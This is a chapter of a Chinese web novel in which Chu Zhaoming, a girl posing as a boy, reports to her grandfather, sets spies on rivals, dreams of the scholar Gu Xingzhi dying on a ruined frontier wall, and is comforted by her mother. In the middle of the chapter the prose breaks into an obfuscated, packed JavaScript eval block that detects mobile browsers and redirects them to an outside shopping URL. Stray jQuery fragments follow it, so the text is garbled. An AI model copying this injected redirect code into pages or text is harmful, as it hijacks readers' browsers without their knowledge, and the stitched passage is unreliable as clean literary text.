见楚昭明迟迟不言,楚瑞图出言关心道,“伤势如何?”
“已经看过大夫,没伤到骨头,养几日就好了。”楚昭明低头看了看自己的手,只觉得伤口有些发热。
“史理民行如此卑劣之事,国子监是容不下他了。”楚瑞图虽心疼自家孩子,可话到嘴边却还是一如既往地严厉,“我已经把他逐出国子监也算是给教训,不过日后,你在国子监还是要低调谨慎,不要惹事。”
“是,孙儿知道。”
楚瑞图忽又凝眸看她,问道:“昭明,与你同在国子监念书的顾荇之,你以为如何?”
闻得顾荇之三字,楚昭明心头一窒,她看不透此人,且梦境之中此人行事亦是诡谲,只道一句:“文采尚可。”
楚昭明垂眸立于堂中,睫羽低垂,掩去眼底翻涌。
“我看过他的策论应是胸中自有丘壑之人,假以时日必成大器。”楚瑞图的话里对顾荇之的满意。“今日更是有果决勇敢。”
楚昭明不敢违拗祝父的话,终是躬身应道:“是,孙儿知晓。”
上辈子的顾荇之不过就是一个贫苦书生,靠自己就能位极人臣,那自然是有本事有手段的。
楚瑞图听到了自己想要的答案,满意地点了点头,声音也都柔和了几分,“如此甚好,你能有这份心,祖父也就放心了,早些歇着吧。”
“是,那孙儿先告退了,祖父,今日天气转凉,祖父还是要多家保养才是。”楚昭明因着手伤无法作揖,只得虚作一礼便告退了。
楚昭明回到听雪轩,已是疲累万分,唤来青禾入房伺候。
“少爷真是受苦了。”青禾看着楚昭明眉宇之间竟全是愁绪,以为她是受了伤心情不好,忙给她倒了杯温润香甜的杏仁茶。
“无妨,有几件事,你且去办。”楚昭明吩咐道,“让醉仙楼的掌柜的盯着点礼部尚书之子冯政南。”
醉仙楼现下是东京城内,最繁华的所在,达官贵人宴饮宾朋,富家公子饮酒作乐最是爱去。自楚昭明能梦见往日起,在这京中的布置就开始了。
楚母郑氏的母家,是建安大族,更是掌管着市泊司的买卖,银钱自是不缺的,二皇子上辈子能顺利登上皇位,郑氏的银子也是派上了大用场。不过现在么,给狗都不给二皇子。
楚昭明将醉仙楼开在了东京城最繁华的御街旁,为的就是掌握京中动向。冯政南不过就是个纨绔,想要寻他的弱点,想来也是易如反掌,他敢挑衅,自然也是要付出代价的。
“是。”青禾应声道。青禾做事最是妥帖,楚昭明也没有什么不放心的。
“其二么,派人盯着些顾荇之。”可不能让他在搭上二皇子这条船。
“顾荇之?那不是您最讨厌的人吗?”青禾不止一次在楚昭明嘴里听到过这个名字,“可是他得罪了您?是否要寻个机会教训教训他?”
楚昭明莞尔,“不必,盯着便可,别被发现了就好。”
“奴婢明白。”
听雪轩内因着楚昭明畏寒,虽还是秋日,便已经摆了一个炭盆,暖炉烘着,楚昭明本就累极,整个人靠在贵妃榻上,沉沉睡去。
漫天大雪纷飞,似是要将世间一切都掩盖在白雪之下。楚昭明茫然地望着眼前残阳如血,硝烟尚未散尽,昔日巍峨的城楼,如今只剩断壁残垣。
偶有几只乌鸦落在残破的城墙上,发出几声嘶哑的鸣叫。
此地本应是边关重镇。如何会变成这人间炼狱的模样。
楚昭明恍惚间看到了一个有些眼熟的男人,他跪在城楼上,身上着的是边关大将才会配发的银鳞甲。
残阳下,银鳞甲被染得血红。他右手持长刀,应是刚经历一场恶战。他左手拳头死死攥着一个流苏。只是被血污沾染,已辨不清原本的颜色。
应是对他而言,很重要的东西。
一股无形的力量牵引着楚昭明竭力奔趋,楚昭明的呼吸几乎在看清那人之时瞬间凝滞,是顾荇之。
那张原本冷硬俊朗的脸上满是血迹,触目惊心却又透着些颓败的凄美。鬓边似落了雪。
楚昭明抬手欲拂掉那些恼人的雪花,指尖触到的却是干枯的发丝,灰白如霜。那双眸子,暗淡无光,如琉璃蒙尘,了无生机。
怎么会是他呢?他不过一介文臣儒生,就是边关打仗有哪里轮得到他呢。
楚昭明张了张嘴,想要喊他的名字,想要问他为什么他会在这里。可她的喉咙却好像是被浸了水的棉花死死堵住了,发不出半点声音。
雪下的顾荇之,没有平日里的清冷疏离,血顺着他的嘴角溢出,一滴一滴,在雪地上砸出了一个又一个血洞。
“楚昭明,我…等……骗……”,他的话越来越轻,几不可闻。
她的心猛地一缩,下意识地伸出手去,想要去捂住他身上不断涌血的伤口。
“顾荇之?顾荇之你到底要说什么。”
“昭明,”门外响起了楚母郑氏的声音,天刚刚擦黑,郑氏刚从庄子上回来听到自家女儿受伤的消息,便急匆匆地来了。“明儿,娘进来了。”
楚昭明听到门被推开的声音,这才悠悠转醒。
郑氏看到自家女儿手伤成这幅样子,忙坐到了她身边,小心翼翼地托起了她的手,“怎么伤成这样了呢?不是去念书的吗?怎么还会受伤呢?”一边说,眼泪一边往下掉。
“娘,我没事,我的手已经上过药了,不疼了,真的。”楚昭明不希望自家娘亲再为自己担心,只能这样安慰道。
“怎么可能不疼啊,我都听说了,今日凶险万分,若不是有人救了你,”郑氏一边说,一边有些喘不上气似得捂住了自己的胸口。
楚昭明手被限制了行动,只能把自己的头靠在娘亲的怀里,“娘,我真的没事,真的。”
郑氏怜惜地摸了摸楚昭明的头,“都是娘的错,娘不该听你阿爷阿爹的话,娘应该和你一起留在建安的,都是昭阳的错,为什么要让你吃那么多苦。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309724|198774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚昭阳是楚昭明的孪生哥哥,去岁他胆子大,竟敢违背祖父,偷了几张银票就偷偷跑去投军,要知道楚家自建府以来,历代男儿都以科举入仕作目标,还从未出过一个武将。
他倒是当真虎,梦中,楚昭阳镇守边关有功,还被先帝封了虎贲将军,不知道后来怎么样了,想到连顾荇之都战死沙场了,楚昭明的心也不禁沉了沉。
楚昭明却摇了摇头,“娘亲,今天不过就是个意外。再说入国子监一事,我是愿意的,阿娘不必自责,若是阿娘真的气,便等阿兄回来了,好好揍他一顿便是了。”
“什么意外,不就是史家和冯家那俩坏小子。”一想到自家女儿吃的苦,郑氏的眼里又燃起了愤怒的火苗,“等你爹回来,我和他他说,必得好好参他们俩家一本,居然还敢欺负到你头上。昭阳那个臭小子,最好这辈子都别回来了,否则看我不打断他的腿。”
“娘亲,”楚昭明在郑氏的怀里蹭了蹭,“还是娘亲疼爱我,那你可要记得阿兄欠我一条腿啊。”
“你啊”,郑氏轻轻点了下楚昭明的小脑袋,?看着自家乖囡的手被包的严严实实,忍不住又叹了口气,“对了,那个救了你的人,可也是国子监的监生?”
楚昭明听到母亲提起了顾荇之,点了点头,“是,算是我的同窗吧。”
“哦?是哪家的公子啊?我们应该备点厚礼去拜谢才是呢。”郑氏满是温柔得看着楚昭明。
“黄州来的举子,没什么家世,就是个普通人家,叫顾荇之。”这倒是个好机会,顾荇之家境清贫,若是得了自家的赏识,未来相比不管发生什么都能有几分薄面。
“恩,能入国子监想来也必定有几分才学,一会儿啊,我便去问问你祖父。”郑氏拿出了一瓶金疮药放到面前的案上,“这是你祖父刚送来的,说是让我拿来给你,宫里御医调配的金创药。”
“多谢母亲和祖父了。”祖父还是这般的嘴硬心软。就像他虽然恼了哥哥,但到底还是纵容了他。当初女扮男装的注意,楚昭明自个儿也是愿意的。其实现下想想,若无这个机会,她应该就和这世间所有女子一般,规规矩矩地长大、待嫁,在四四方方的天内过完一辈子。纵使是像自家娘亲这样的经商天才,到底这辈子的大好时光都蹉跎在了内院。
可如今她却能有机会去见识这世间的一切,如何不算是一种幸运呢。
看着自家女儿因为一瓶药,就又红了眼,郑氏心头又是止不住的发酸,“傻孩子,一家子,说些什么谢呢。”更何况,本来就是他们这些做长辈的没有护好自己的孩子啊。
“好了,”郑氏把女儿揽在怀中,“今天想必你也累了,我待会让人给你送碗压惊补身的天麻乳鸽汤,喝完今日就早些歇息。明日娘亲再来看你,还有这几日就别去国子监了,娘亲去给你告假可好?”
楚昭明看着娘亲担忧的神色,实在有些难以拒绝,“娘亲,我省得了。”正好她也能借这几日清闲,好好筹谋。